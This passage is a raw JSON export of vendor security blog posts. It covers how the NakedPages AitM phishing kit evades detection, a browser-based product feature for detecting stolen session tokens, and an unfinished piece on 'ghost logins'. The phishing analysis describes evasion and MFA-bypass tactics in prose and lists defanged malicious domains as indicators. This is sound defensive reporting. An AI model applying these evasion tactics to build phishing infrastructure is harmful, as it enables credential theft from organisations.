phishing page. The attacker has most closely emulated the sign-on page for live.com for Outlook in this case, though it also has some aspects from a business Microsoft login too, as we can see in the examples below:",{"data":35740,"content":35744,"nodeType":921},{"target":35741},{"sys":35742},{"id":35743,"type":918,"linkType":919},"2Ez0fgAlmkrisdQGWfL6CV",[],{"data":35746,"content":35747,"nodeType":866},{},[35748],{"data":35749,"marks":35750,"value":35751,"nodeType":865},{},[],"However, one obvious change can be seen in the HTML title in the tab header. This normally says something like “Sign in to Outlook” or “Sign in to your account”. In this case, the phishing kit has randomized the HTML title. \n\nOne super easy way to detect websites pretending to be common login pages that have 1:1 cloned the website or are performing full reverse proxy AiTM techniques would be to search for obvious HTML content like this. Not many legitimate websites should have an HTML title of “Sign in to Outlook” other than Microsoft’s own legitimate domains for it, right?",{"data":35753,"content":35754,"nodeType":866},{},[35755],{"data":35756,"marks":35757,"value":35758,"nodeType":865},{},[],"Taking a closer look, we’ll see that the HTML, DOM and JavaScript etc. differ quite significantly from the true login pages, even if the visual appearance is very similar. One reason for this is to make it harder for defenders to simply signature on specific aspects of commonly spoofed login pages.",{"data":35760,"content":35761,"nodeType":953},{},[35762],{"data":35763,"marks":35764,"value":35765,"nodeType":865},{},[],"Step 9: B2B targeting",{"data":35767,"content":35768,"nodeType":866},{},[35769],{"data":35770,"marks":35771,"value":35772,"nodeType":865},{},[],"The final interesting aspect of this particular example is that it modifies its behavior during the login process depending on whether a personal Microsoft account or an organization account is used.",{"data":35774,"content":35775,"nodeType":866},{},[35776,35780,35788],{"data":35777,"marks":35778,"value":35779,"nodeType":865},{},[],"When entering an email address associated with a personal Microsoft account, or picking ‘personal account’ when prompted after entering an email address that is used for both purposes, the server will return a 302 redirect and send the user to ",{"data":35781,"content":35783,"nodeType":889},{"uri":35782},"https://login.live.com/",[35784],{"data":35785,"marks":35786,"value":35782,"nodeType":865},{},[35787],{"type":1191},{"data":35789,"marks":35790,"value":35791,"nodeType":865},{},[]," where they can then re-enter their credentials and login to Microsoft legitimately if they continue. This reduces the potential for detection further as no AitM phishing login will actually occur.",{"data":35793,"content":35794,"nodeType":866},{},[35795,35799,35804],{"data":35796,"marks":35797,"value":35798,"nodeType":865},{},[],"On the other hand, when using an organization account the phishing process continues as expected. ",{"data":35800,"marks":35801,"value":35803,"nodeType":865},{},[35802],{"type":935},"This phishing campaign is exclusively targeting corp accounts",{"data":35805,"marks":35806,"value":35807,"nodeType":865},{},[]," and you could almost say it has a B2B (or is that A2B?) rather than B2C business model.  ",{"data":35809,"content":35810,"nodeType":953},{},[35811],{"data":35812,"marks":35813,"value":26874,"nodeType":865},{},[],{"data":35815,"content":35816,"nodeType":866},{},[35817],{"data":35818,"marks":35819,"value":35820,"nodeType":865},{},[],"As you may have guessed from the extremely suspicious domains in use and examples of sloppy coding (like forgetting to implement an encryption function) the NakedPages kit is far from sophisticated. Despite this, the tricks that attackers are using to make detection and analysis more difficult seem to be quite effective when used in a layered model. ",{"data":35822,"content":35823,"nodeType":866},{},[35824],{"data":35825,"marks":35826,"value":35827,"nodeType":865},{},[],"For example, at the time of writing this particular Worker had been up for at least two days and was currently only triggering 1 detection on VirusTotal. ",{"data":35829,"content":35833,"nodeType":921},{"target":35830},{"sys":35831},{"id":35832,"type":918,"linkType":919},"1mIOpDtmgcMasK6dEhRHsm",[],{"data":35835,"content":35836,"nodeType":866},{},[35837],{"data":35838,"marks":35839,"value":35840,"nodeType":865},{},[],"One key takeaway is that it’s near impossible to stay on top of all the phishing servers on the internet. Even the untargeted mass campaigns will initially be missed by TI feeds, let alone the targeted ones. ",{"data":35842,"content":35843,"nodeType":866},{},[35844,35848,35856],{"data":35845,"marks":35846,"value":35847,"nodeType":865},{},[],"The best foot forward for resilience against these attacks is through the use of domain-bound MFA methods like WebAuthn. Common MFA methods like OTPs, SMS, push notifications etc. are routinely bypassed using ",{"data":35849,"content":35850,"nodeType":889},{"uri":35030},[35851],{"data":35852,"marks":35853,"value":35855,"nodeType":865},{},[35854],{"type":1191},"AitM techniques that proxy the MFA authentication as well",{"data":35857,"marks":35858,"value":35859,"nodeType":865},{},[],". Even if you are one of the few who use phishing-resistant MFA methods like WebAuthn or other passkeys, the devil is in the detail and we’ve seen MFA downgrade attacks being used to bypass them by choosing a phishable method that’s also active.",{"data":35861,"content":35865,"nodeType":921},{"target":35862},{"sys":35863},{"id":35864,"type":918,"linkType":919},"17lSgRFD6fDzRUn9eOHJg6",[],{"data":35867,"content":35868,"nodeType":953},{},[35869],{"data":35870,"marks":35871,"value":35872,"nodeType":865},{},[],"P.S. How did we detect this?",{"data":35874,"content":35875,"nodeType":866},{},[35876,35880,35885,35889,35897],{"data":35877,"marks":35878,"value":35879,"nodeType":865},{},[],"After all that, you might be wondering how we managed to automate a process to generically pass through all these detection evasion techniques – ",{"data":35881,"marks":35882,"value":35884,"nodeType":865},{},[35883],{"type":935},"well the short answer is: We didn’t.",{"data":35886,"marks":35887,"value":35888,"nodeType":865},{},[]," Instead, we detected the act of an employee ",{"data":35890,"content":35891,"nodeType":889},{"uri":24358},[35892],{"data":35893,"marks":35894,"value":35896,"nodeType":865},{},[35895],{"type":1191},"attempting to put their Microsoft password into a website that wasn’t Microsoft",{"data":35898,"marks":35899,"value":1066,"nodeType":865},{},[],{"data":35901,"content":35902,"nodeType":866},{},[35903],{"data":35904,"marks":35905,"value":35906,"nodeType":865},{},[],"The TTP for phishing is effectively “trick someone into putting their valid credentials into the wrong site” – so detecting that behavior directly (the action of entering a legit password into the wrong site) can be a lot simpler and more effective than playing the cat-and-mouse detection → detection-evasion game.",{"data":35908,"content":35909,"nodeType":866},{},[35910],{"data":35911,"marks":35912,"value":35913,"nodeType":865},{},[],"Having said that, if you’re interested, here are the domain IOCs for this campaign:",{"data":35915,"content":35916,"nodeType":866},{},[35917],{"data":35918,"marks":35919,"value":35921,"nodeType":865},{},[35920],{"type":3535},"226028cc[.]502f135e3e036e726fba22d4[.]workers[.]dev\nacevoorgukmembership[.]buzz\nalerteditorroyalsocietyorgnz[.]buzz\nandymarshallsgeniuslocidigestghostiomghostio[.]buzz\nblogresponseinsperitycom[.]buzz\ncampaigneventbritecomnoreply[.]buzz\ncharityexcellencer1technologytrustnewsorg[.]buzz\nclerkenwelldesignweekcomnoreply[.]buzz\nconfirminfothetrainlinecomauto[.]buzz\nhealthestatejournalcomnoreply[.]buzz\nmentalhealthdesignandbuildcomnoreply[.]buzz\nnoreplynotificationswhoopcom[.]buzz\nstepexhibitionscomeventsupport[.]buzz\ntheathletice1theathleticcom[.]buzz\nthekakahoonssubstackcom[.]buzz","How AitM phishing kits evade detection","Taking a closer look at the steps that AitM phishing kits take to hide from the prying eyes of security teams and threat intelligence vendors.","2024-07-23T00:00:00.000Z","how-aitm-phishing-kits-evade-detection",{"items":35927},[35928,35930],{"sys":35929,"name":342},{"id":2666},{"sys":35931,"name":2663},{"id":2662},{"items":35933},[35934],{"fullName":9299,"firstName":9300,"jobTitle":9301,"profilePicture":35935},{"url":9303},{"__typename":1802,"sys":35937,"content":35939,"title":36428,"synopsis":36429,"hashTags":59,"publishedDate":36430,"slug":36431,"tagsCollection":36432,"authorsCollection":36438},{"id":35938},"6Uvqu6LcWzOVfA9mxtu841",{"json":35940},{"data":35941,"content":35942,"nodeType":1663},{},[35943,35949,35956,35989,35996,36016,36023,36069,36076,36083,36090,36096,36103,36190,36197,36204,36227,36234,36241,36248,36255,36262,36268,36318,36325,36331,36349,36355,36362,36369,36376,36383,36390,36397,36404,36410],{"data":35944,"content":35948,"nodeType":921},{"target":35945},{"sys":35946},{"id":35947,"type":918,"linkType":919},"2HffP4X7owzpfj41jnzXmV",[],{"data":35950,"content":35951,"nodeType":866},{},[35952],{"data":35953,"marks":35954,"value":35955,"nodeType":865},{},[],"To detect session token theft, you need three things:",{"data":35957,"content":35958,"nodeType":2374},{},[35959,35969,35979],{"data":35960,"content":35961,"nodeType":2309},{},[35962],{"data":35963,"content":35964,"nodeType":866},{},[35965],{"data":35966,"marks":35967,"value":35968,"nodeType":865},{},[],"Robust logs that provide an identifier to help tie activity to a specific session",{"data":35970,"content":35971,"nodeType":2309},{},[35972],{"data":35973,"content":35974,"nodeType":866},{},[35975],{"data":35976,"marks":35977,"value":35978,"nodeType":865},{},[],"A well-oiled SOC to correlate observed activity in those logs",{"data":35980,"content":35981,"nodeType":2309},{},[35982],{"data":35983,"content":35984,"nodeType":866},{},[35985],{"data":35986,"marks":35987,"value":35988,"nodeType":865},{},[],"And telemetry to tie those logs to a trusted endpoint",{"data":35990,"content":35991,"nodeType":866},{},[35992],{"data":35993,"marks":35994,"value":35995,"nodeType":865},{},[],"The only problem? That third thing didn’t really exist. So we created it.",{"data":35997,"content":35998,"nodeType":866},{},[35999,36003,36012],{"data":36000,"marks":36001,"value":36002,"nodeType":865},{},[],"In this article, we’ll cover how Push’s recently released ",{"data":36004,"content":36006,"nodeType":889},{"uri":36005},"https://pushsecurity.com/help/10114#start",[36007],{"data":36008,"marks":36009,"value":36011,"nodeType":865},{},[36010],{"type":1191},"session theft detection",{"data":36013,"marks":36014,"value":36015,"nodeType":865},{},[]," feature works, why we built it, and why the unique control point provided by a browser agent unlocks new capabilities for blue teams fighting the effects of infostealer malware and other stolen credential-based attacks.",{"data":36017,"content":36018,"nodeType":953},{},[36019],{"data":36020,"marks":36021,"value":36022,"nodeType":865},{},[],"(You probably already know) Why this matters",{"data":36024,"content":36025,"nodeType":866},{},[36026,36030,36039,36043,36052,36056,36065],{"data":36027,"marks":36028,"value":36029,"nodeType":865},{},[],"Session token theft is a ",{"data":36031,"content":36033,"nodeType":889},{"uri":36032},"https://owasp.org/www-community/attacks/Session_hijacking_attack",[36034],{"data":36035,"marks":36036,"value":36038,"nodeType":865},{},[36037],{"type":1191},"session hijacking",{"data":36040,"marks":36041,"value":36042,"nodeType":865},{},[]," technique where endpoint malware is used to extract sessions from an endpoint, and until recently it was ",{"data":36044,"content":36046,"nodeType":889},{"uri":36045},"https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/",[36047],{"data":36048,"marks":36049,"value":36051,"nodeType":865},{},[36050],{"type":1191},"relatively rare",{"data":36053,"marks":36054,"value":36055,"nodeType":865},{},[],". It’s easier to ",{"data":36057,"content":36059,"nodeType":889},{"uri":36058},"https://pushsecurity.com/blog/what-is-credential-stuffing/",[36060],{"data":36061,"marks":36062,"value":36064,"nodeType":865},{},[36063],{"type":1191},"gain access via a password",{"data":36066,"marks":36067,"value":36068,"nodeType":865},{},[]," than it is to steal a session cookie. ",{"data":36070,"content":36071,"nodeType":866},{},[36072],{"data":36073,"marks":36074,"value":36075,"nodeType":865},{},[],"But there’s an inverse relationship between session-based attacks and MFA adoption. As MFA becomes widespread, adversaries turn to new effective methods of initial entry.",{"data":36077,"content":36078,"nodeType":866},{},[36079],{"data":36080,"marks":36081,"value":36082,"nodeType":865},{},[],"An increasingly common approach involves the use of infostealer malware, which can extract saved credentials, browser cookies, cryptowallets, and other valuable data from the infected endpoint.",{"data":36084,"content":36085,"nodeType":866},{},[36086],{"data":36087,"marks":36088,"value":36089,"nodeType":865},{},[],"Using stolen tokens, adversaries don’t need to bypass MFA directly. They can simply import the tokens into their browser and assume an already authorized session.",{"data":36091,"content":36095,"nodeType":921},{"target":36092},{"sys":36093},{"id":36094,"type":918,"linkType":919},"66B5MBFIhbmky7VuLGbuM3",[],{"data":36097,"content":36098,"nodeType":866},{},[36099],{"data":36100,"marks":36101,"value":36102,"nodeType":865},{},[],"A few recent stats show the scope of the problem:",{"data":36104,"content":36105,"nodeType":2374},{},[36106,36127,36149,36170],{"data":36107,"content":36108,"nodeType":2309},{},[36109],{"data":36110,"content":36111,"nodeType":866},{},[36112,36116,36124],{"data":36113,"marks":36114,"value":36115,"nodeType":865},{},[],"Nearly half of the malware detected last year by Sophos targeted victims’ data specifically, and the majority of that malware was classified as infostealers. Source: ",{"data":36117,"content":36118,"nodeType":889},{"uri":34365},[36119],{"data":36120,"marks":36121,"value":36123,"nodeType":865},{},[36122],{"type":1191},"2024 Sophos Threat Report",{"data":36125,"marks":36126,"value":21,"nodeType":865},{},[],{"data":36128,"content":36129,"nodeType":2309},{},[36130],{"data":36131,"content":36132,"nodeType":866},{},[36133,36137,36146],{"data":36134,"marks":36135,"value":36136,"nodeType":865},{},[],"Information-stealing malware accounted for nearly 10 percent of activity that Red Canary was able to associate with named threats last year. They also found a rise in stealer malware targeting macOS compared to previous years. Source: ",{"data":36138,"content":36140,"nodeType":889},{"uri":36139},"https://redcanary.com/threat-detection-report/trends/info-stealers/",[36141],{"data":36142,"marks":36143,"value":36145,"nodeType":865},{},[36144],{"type":1191},"2024 Red Canary Threat Detection Report",{"data":36147,"marks":36148,"value":21,"nodeType":865},{},[],{"data":36150,"content":36151,"nodeType":2309},{},[36152],{"data":36153,"content":36154,"nodeType":866},{},[36155,36159,36167],{"data":36156,"marks":36157,"value":36158,"nodeType":865},{},[],"Stolen credentials continued to rank as the top initial access method for breaches analyzed by Verizon. Source: ",{"data":36160,"content":36161,"nodeType":889},{"uri":19814},[36162],{"data":36163,"marks":36164,"value":36166,"nodeType":865},{},[36165],{"type":1191},"2024 Data Breach Investigations Report",{"data":36168,"marks":36169,"value":21,"nodeType":865},{},[],{"data":36171,"content":36172,"nodeType":2309},{},[36173],{"data":36174,"content":36175,"nodeType":866},{},[36176,36180,36187],{"data":36177,"marks":36178,"value":36179,"nodeType":865},{},[],"The number of token replay attacks is increasing, with Microsoft detecting 147,000 attacks in 2023, a 111% increase year-over-year. Source: ",{"data":36181,"content":36182,"nodeType":889},{"uri":34322},[36183],{"data":36184,"marks":36185,"value":36186,"nodeType":865},{},[],"Microsoft Blog",{"data":36188,"marks":36189,"value":21,"nodeType":865},{},[],{"data":36191,"content":36192,"nodeType":953},{},[36193],{"data":36194,"marks":36195,"value":36196,"nodeType":865},{},[],"What's missing from current defenses",{"data":36198,"content":36199,"nodeType":866},{},[36200],{"data":36201,"marks":36202,"value":36203,"nodeType":865},{},[],"When defending against infostealer malware or other forms of session and credential theft, there are a few common challenges that organizations may face:",{"data":36205,"content":36206,"nodeType":2374},{},[36207,36217],{"data":36208,"content":36209,"nodeType":2309},{},[36210],{"data":36211,"content":36212,"nodeType":866},{},[36213],{"data":36214,"marks":36215,"value":36216,"nodeType":865},{},[],"Their endpoint security tooling doesn’t provide complete coverage across their device fleet, though they thought it did.",{"data":36218,"content":36219,"nodeType":2309},{},[36220],{"data":36221,"content":36222,"nodeType":866},{},[36223],{"data":36224,"marks":36225,"value":36226,"nodeType":865},{},[],"The malware is good enough to evade EDR detection, or it was able to execute and exfiltrate sessions or other data before it was stopped.",{"data":36228,"content":36229,"nodeType":866},{},[36230],{"data":36231,"marks":36232,"value":36233,"nodeType":865},{},[],"Existing approaches to detecting stolen sessions also pose a noisy problem. Relying on IP-based or geolocation-based signals can result in frequent false positives. (And not all identity provider logs include a session identifier that you can use to perform correlations in the first place.)",{"data":36235,"content":36236,"nodeType":866},{},[36237],{"data":36238,"marks":36239,"value":36240,"nodeType":865},{},[],"The missing piece is a trusted signal for legitimate sessions that you can use to correlate with other data in order to identify unexpected activity that indicates a compromised identity and device.",{"data":36242,"content":36243,"nodeType":953},{},[36244],{"data":36245,"marks":36246,"value":36247,"nodeType":865},{},[],"Generating unique telemetry via the browser",{"data":36249,"content":36250,"nodeType":866},{},[36251],{"data":36252,"marks":36253,"value":36254,"nodeType":865},{},[],"Push’s solution to detecting stolen sessions falls into the category of “so simple, why didn’t this already exist?”",{"data":36256,"content":36257,"nodeType":866},{},[36258],{"data":36259,"marks":36260,"value":36261,"nodeType":865},{},[],"The answer: Because you need to be in the browser to do it. The Push browser agent sits in a unique position that we can leverage to provide telemetry that otherwise would be extremely difficult to create.",{"data":36263,"content":36264,"nodeType":866},{},[36265],{"data":36266,"marks":36267,"value":32364,"nodeType":865},{},[],{"data":36269,"content":36270,"nodeType":2374},{},[36271,36281,36291],{"data":36272,"content":36273,"nodeType":2309},{},[36274],{"data":36275,"content":36276,"nodeType":866},{},[36277],{"data":36278,"marks":36279,"value":36280,"nodeType":865},{},[],"Via the Push browser agent, Push injects a unique marker into the user agent string of sessions that occur in browsers enrolled in Push.",{"data":36282,"content":36283,"nodeType":2309},{},[36284],{"data":36285,"content":36286,"nodeType":866},{},[36287],{"data":36288,"marks":36289,"value":36290,"nodeType":865},{},[],"Administrators then add the list of domains where they wish to inject the marker into sessions, such as an identity provider like Okta or Microsoft.",{"data":36292,"content":36293,"nodeType":2309},{},[36294],{"data":36295,"content":36296,"nodeType":866},{},[36297,36301,36305,36309,36314],{"data":36298,"marks":36299,"value":36300,"nodeType":865},{},[],"By analyzing logs from the IdP, you can identify activity from the same session that both ",{"data":36302,"marks":36303,"value":27617,"nodeType":865},{},[36304],{"type":965},{"data":36306,"marks":36307,"value":36308,"nodeType":865},{},[]," the Push marker and that ",{"data":36310,"marks":36311,"value":36313,"nodeType":865},{},[36312],{"type":965},"lacks",{"data":36315,"marks":36316,"value":36317,"nodeType":865},{},[]," the marker. This can only ever happen when a session is extracted from a browser and maliciously imported into a different browser.",{"data":36319,"content":36320,"nodeType":866},{},[36321],{"data":36322,"marks":36323,"value":36324,"nodeType":865},{},[],"This is a high-fidelity signal that a stolen session token is in use.",{"data":36326,"content":36330,"nodeType":921},{"target":36327},{"sys":36328},{"id":36329,"type":918,"linkType":919},"3zQamWSaZFIbMUhQZtM2II",[],{"data":36332,"content":36333,"nodeType":866},{},[36334,36338,36346],{"data":36335,"marks":36336,"value":36337,"nodeType":865},{},[],"Learn more about configuring this feature in our ",{"data":36339,"content":36340,"nodeType":889},{"uri":36005},[36341],{"data":36342,"marks":36343,"value":36345,"nodeType":865},{},[36344],{"type":1191},"Help Center",{"data":36347,"marks":36348,"value":1066,"nodeType":865},{},[],{"data":36350,"content":36354,"nodeType":921},{"target":36351},{"sys":36352},{"id":36353,"type":918,"linkType":919},"35dpGqNY6cTM0fSQRflLiO",[],{"data":36356,"content":36357,"nodeType":953},{},[36358],{"data":36359,"marks":36360,"value":36361,"nodeType":865},{},[],"Unlocking new capabilities for blue teams",{"data":36363,"content":36364,"nodeType":866},{},[36365],{"data":36366,"marks":36367,"value":36368,"nodeType":865},{},[],"As we’ve said before, we see browser telemetry and browser-based controls as the missing piece in security strategies to stop identity attacks — particularly for modern organizations with complex identity ecosystems that span IdPs, SaaS apps, OAuth-connected apps, and more.",{"data":36370,"content":36371,"nodeType":866},{},[36372],{"data":36373,"marks":36374,"value":36375,"nodeType":865},{},[],"Where the browser agent approach particularly shines is that it’s application-agnostic. ",{"data":36377,"content":36378,"nodeType":866},{},[36379],{"data":36380,"marks":36381,"value":36382,"nodeType":865},{},[],"As long as the app you want to monitor provides robust logs, you can inject the Push-supplied marker into any session on any app. ",{"data":36384,"content":36385,"nodeType":866},{},[36386],{"data":36387,"marks":36388,"value":36389,"nodeType":865},{},[],"This allows you to detect suspicious activity even on internal corporate assets, such as an intranet. ",{"data":36391,"content":36392,"nodeType":866},{},[36393],{"data":36394,"marks":36395,"value":36396,"nodeType":865},{},[],"A tidy side effect is that you can also use this feature to identify unmanaged devices accessing sensitive corporate internal resources because they will lack the Push browser agent-supplied marker.",{"data":36398,"content":36399,"nodeType":866},{},[36400],{"data":36401,"marks":36402,"value":36403,"nodeType":865},{},[],"There are probably a few other creative use cases for this feature, so we look forward to seeing what you come up with!",{"data":36405,"content":36406,"nodeType":953},{},[36407],{"data":36408,"marks":36409,"value":28538,"nodeType":865},{},[],{"data":36411,"content":36412,"nodeType":866},{},[36413,36417,36424],{"data":36414,"marks":36415,"value":36416,"nodeType":865},{},[],"To see Push in action, ",{"data":36418,"content":36419,"nodeType":889},{"uri":1487},[36420],{"data":36421,"marks":36422,"value":6266,"nodeType":865},{},[36423],{"type":1191},{"data":36425,"marks":36426,"value":36427,"nodeType":865},{},[],". We’ll be happy to show you this feature, along with how we discover all the apps your employees are using, even the ones not behind SSO, and how we detect vulnerable identities and stop identity attacks with browser-based controls.","Introducing session token theft detection: Why browser is best","Push's browser agent identifies session token theft by adding telemetry to the user agent string to create a new high-fidelity signal for your security team.","2024-06-25T00:00:00.000Z","introducing-session-token-theft-detection-why-browser-is-best",{"items":36433},[36434,36436],{"sys":36435,"name":342},{"id":2666},{"sys":36437,"name":21316},{"id":21315},{"items":36439},[36440],{"fullName":11082,"firstName":11083,"jobTitle":11084,"profilePicture":36441},{"url":11086},{"__typename":1802,"sys":36443,"content":36445,"title":37263,"synopsis":37264,"hashTags":59,"publishedDate":37265,"slug":37266,"tagsCollection":37267,"authorsCollection":37273},{"id":36444},"174u87EYeKMKHzYYxBLlHO",{"json":36446},{"data":36447,"content":36448,"nodeType":1663},{},[36449,36456,36463,36470,36500,36507,36514,36531,36538,36545,36563,36570,36577,36584,36590,36597,36640,36647,36654,36661,36684,36691,36698,36705,36753,36760,36767,36774,36781,36793,36800,36808,36815,36848,36855,36862,36869,36876,36938,36946,36953,36960,36994,37001,37009,37016,37023,37035,37051,37080,37098,37105,37122,37129,37136,37154,37161,37168,37175,37208,37215,37233,37251,37257],{"data":36450,"content":36451,"nodeType":866},{},[36452],{"data":36453,"marks":36454,"value":36455,"nodeType":865},{},[],"Identity attacks like phishing, credential stuffing, and session hijacking are now the leading cause of cyber security breaches, as attackers shift their attention to the sprawl of third-party applications and services that has become the backbone of business IT. ",{"data":36457,"content":36458,"nodeType":866},{},[36459],{"data":36460,"marks":36461,"value":36462,"nodeType":865},{},[],"The attacker’s goal in these attacks is account takeover: logging into a user account to access your company app tenant. From there, the attacker can usually achieve all of their objectives from inside the compromised app, usually involving dumping sensitive data with which to hold the company to ransom, or selling the data on underground criminal marketplaces. ",{"data":36464,"content":36465,"nodeType":866},{},[36466],{"data":36467,"marks":36468,"value":36469,"nodeType":865},{},[],"These attack techniques have been commonplace for over a decade — but the shift in attack context away from attacking endpoints (user devices and servers) to cloud services is seeing something of an identity attack renaissance. ",{"data":36471,"content":36472,"nodeType":866},{},[36473,36476,36483,36487,36496],{"data":36474,"marks":36475,"value":21,"nodeType":865},{},[],{"data":36477,"content":36478,"nodeType":889},{"uri":30192},[36479],{"data":36480,"marks":36481,"value":395,"nodeType":865},{},[36482],{"type":1191},{"data":36484,"marks":36485,"value":36486,"nodeType":865},{},[]," are one of the leading factors in successful ",{"data":36488,"content":36490,"nodeType":889},{"uri":36489},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/credential_stuffing/description.md",[36491],{"data":36492,"marks":36493,"value":36495,"nodeType":865},{},[36494],{"type":1191},"credential stuffing",{"data":36497,"marks":36498,"value":36499,"nodeType":865},{},[]," attacks driving account takeover.",{"data":36501,"content":36502,"nodeType":953},{},[36503],{"data":36504,"marks":36505,"value":36506,"nodeType":865},{},[],"Ghost logins 101",{"data":36508,"content":36509,"nodeType":866},{},[36510],{"data":36511,"marks":36512,"value":36513,"nodeType":865},{},[],"Simply put, ghost logins are often-forgotten alternative login methods that are tricky for security teams to manage and secure — because they don’t know about them. Because of this, they’re likely to possess weak configurations that make them susceptible to account takeover attacks. ",{"data":36515,"content":36516,"nodeType":866},{},[36517,36521,36528],{"data":36518,"marks":36519,"value":36520,"nodeType":865},{},[],"We found that ",{"data":36522,"content":36523,"nodeType":889},{"uri":31735},[36524],{"data":36525,"marks":36526,"value":36527,"nodeType":865},{},[],"ghost logins are present in ~10% of the accounts per organization",{"data":36529,"marks":36530,"value":4835,"nodeType":865},{},[],{"data":36532,"content":36533,"nodeType":1229},{},[36534],{"data":36535,"marks":36536,"value":36537,"nodeType":865},{},[],"Why do ghost logins exist?",{"data":36539,"content":36540,"nodeType":866},{},[36541],{"data":36542,"marks":36543,"value":36544,"nodeType":865},{},[],"Identity management used to be something that was centrally contained and managed using an enterprise identity service like Active Directory. Most users probably only had one or two identities that you really cared about: the one they used to log into their company laptop and domain, and maybe also to log into a VPN. ",{"data":36546,"content":36547,"nodeType":866},{},[36548,36552,36559],{"data":36549,"marks":36550,"value":36551,"nodeType":865},{},[],"Now, there are ",{"data":36553,"content":36554,"nodeType":889},{"uri":31735},[36555],{"data":36556,"marks":36557,"value":36558,"nodeType":865},{},[],"200+ business apps in use per company, creating 1000s of sprawled identities",{"data":36560,"marks":36561,"value":36562,"nodeType":865},{},[]," across an ecosystem of business apps and services accessed over the internet.",{"data":36564,"content":36565,"nodeType":866},{},[36566],{"data":36567,"marks":36568,"value":36569,"nodeType":865},{},[],"Most businesses have tried to solve this problem with single sign on (SSO). The logic being that if you can use a single set of credentials (and therefore, a single identity) to access all of your business apps, and then secure those credentials with MFA, then this problem goes away. However…",{"data":36571,"content":36572,"nodeType":1229},{},[36573],{"data":36574,"marks":36575,"value":36576,"nodeType":865},{},[],"SSO expectations versus reality",{"data":36578,"content":36579,"nodeType":866},{},[36580],{"data":36581,"marks":36582,"value":36583,"nodeType":865},{},[],"Unfortunately, the reality of SSO implementation is flawed. Most apps accept multiple login methods that can be configured — and used — simultaneously (yes, most apps don’t have proper session controls).  ",{"data":36585,"content":36589,"nodeType":921},{"target":36586},{"sys":36587},{"id":36588,"type":918,"linkType":919},"3sOz3HkiyJpY9nFtGCWEOV",[],{"data":36591,"content":36592,"nodeType":866},{},[36593],{"data":36594,"marks":36595,"value":36596,"nodeType":865},{},[],"This is made worse by the fact that:",{"data":36598,"content":36599,"nodeType":2374},{},[36600,36610,36620,36630],{"data":36601,"content":36602,"nodeType":2309},{},[36603],{"data":36604,"content":36605,"nodeType":866},{},[36606],{"data":36607,"marks":36608,"value":36609,"nodeType":865},{},[],"Most apps can't be locked down to restrict which login methods are accepted.",{"data":36611,"content":36612,"nodeType":2309},{},[36613],{"data":36614,"content":36615,"nodeType":866},{},[36616],{"data":36617,"marks":36618,"value":36619,"nodeType":865},{},[],"Users often self-adopt apps, and default to a username and password (and typically miss out MFA). ",{"data":36621,"content":36622,"nodeType":2309},{},[36623],{"data":36624,"content":36625,"nodeType":866},{},[36626],{"data":36627,"marks":36628,"value":36629,"nodeType":865},{},[],"SSO isn’t always possible if you aren’t using a supported IdP — and only one in three apps support SAML, the preferred enterprise-grade protocol.",{"data":36631,"content":36632,"nodeType":2309},{},[36633],{"data":36634,"content":36635,"nodeType":866},{},[36636],{"data":36637,"marks":36638,"value":36639,"nodeType":865},{},[],"Even where SSO is possible, configuring an app for SSO doesn't automatically delete any legacy local logins.",{"data":36641,"content":36642,"nodeType":866},{},[36643],{"data":36644,"marks":36645,"value":36646,"nodeType":865},{},[],"Inevitably, this means that there are many situations in which users will create local accounts — typically with a username and password, and without MFA. This is how ghost logins are born.",{"data":36648,"content":36649,"nodeType":1229},{},[36650],{"data":36651,"marks":36652,"value":36653,"nodeType":865},{},[],"How are ghost logins created? ",{"data":36655,"content":36656,"nodeType":866},{},[36657],{"data":36658,"marks":36659,"value":36660,"nodeType":865},{},[],"Ghost logins can be created in the following ways:",{"data":36662,"content":36663,"nodeType":2374},{},[36664,36674],{"data":36665,"content":36666,"nodeType":2309},{},[36667],{"data":36668,"content":36669,"nodeType":866},{},[36670],{"data":36671,"marks":36672,"value":36673,"nodeType":865},{},[],"A user self-adopts an app, setting up an account with a local username and password. The app is later adopted companywide and brought under SSO. This creates an additional SSO login method, likely as the default, but the local login will continue to exist unless explicitly disabled or deleted. ",{"data":36675,"content":36676,"nodeType":2309},{},[36677],{"data":36678,"content":36679,"nodeType":866},{},[36680],{"data":36681,"marks":36682,"value":36683,"nodeType":865},{},[],"Secondary/backup login methods can often be added later in the app settings after logging in. This includes things like setting up a secondary email to send a login link to, or setting up API access to remove the need to authenticate altogether. ",{"data":36685,"content":36686,"nodeType":866},{},[36687],{"data":36688,"marks":36689,"value":36690,"nodeType":865},{},[],"So, ghost logins are very easily introduced through the normal course of app adoption and use by employees. ",{"data":36692,"content":36693,"nodeType":1229},{},[36694],{"data":36695,"marks":36696,"value":36697,"nodeType":865},{},[],"Why do ghost logins pose a risk? ",{"data":36699,"content":36700,"nodeType":866},{},[36701],{"data":36702,"marks":36703,"value":36704,"nodeType":865},{},[],"Ghost logins pose a risk for a number of reasons, as they: ",{"data":36706,"content":36707,"nodeType":2374},{},[36708,36723,36738],{"data":36709,"content":36710,"nodeType":2309},{},[36711],{"data":36712,"content":36713,"nodeType":866},{},[36714,36719],{"data":36715,"marks":36716,"value":36718,"nodeType":865},{},[36717],{"type":935},"Typically have less secure configurations ",{"data":36720,"marks":36721,"value":36722,"nodeType":865},{},[],"than your preferred login method – and may be missing key controls like MFA.  ",{"data":36724,"content":36725,"nodeType":2309},{},[36726],{"data":36727,"content":36728,"nodeType":866},{},[36729,36734],{"data":36730,"marks":36731,"value":36733,"nodeType":865},{},[36732],{"type":935},"Are effectively shadow logins",{"data":36735,"marks":36736,"value":36737,"nodeType":865},{},[]," – IT/security don’t know about them, and if using an IdP as your primary identity security interface, they won’t necessarily be visible without taking a deeper look at individual apps. ",{"data":36739,"content":36740,"nodeType":2309},{},[36741],{"data":36742,"content":36743,"nodeType":866},{},[36744,36749],{"data":36745,"marks":36746,"value":36748,"nodeType":865},{},[36747],{"type":935},"Can be used simultaneously with SSO",{"data":36750,"marks":36751,"value":36752,"nodeType":865},{},[]," – so you can have an unrestricted number of concurrent sessions with SSO and non SSO logins active at the same time, without the user being kicked out of the previous session.",{"data":36754,"content":36755,"nodeType":866},{},[36756],{"data":36757,"marks":36758,"value":36759,"nodeType":865},{},[],"Ghost logins provide opportunities for attackers to bypass security controls for initial access and persistence in an application (which we’ll come onto in more detail later). They also provide an opportunity for malicious insiders, e.g. a disgruntled employee, to access systems even after SSO access is revoked. If the security team relies on IdP logs to audit app logins, these accounts can go 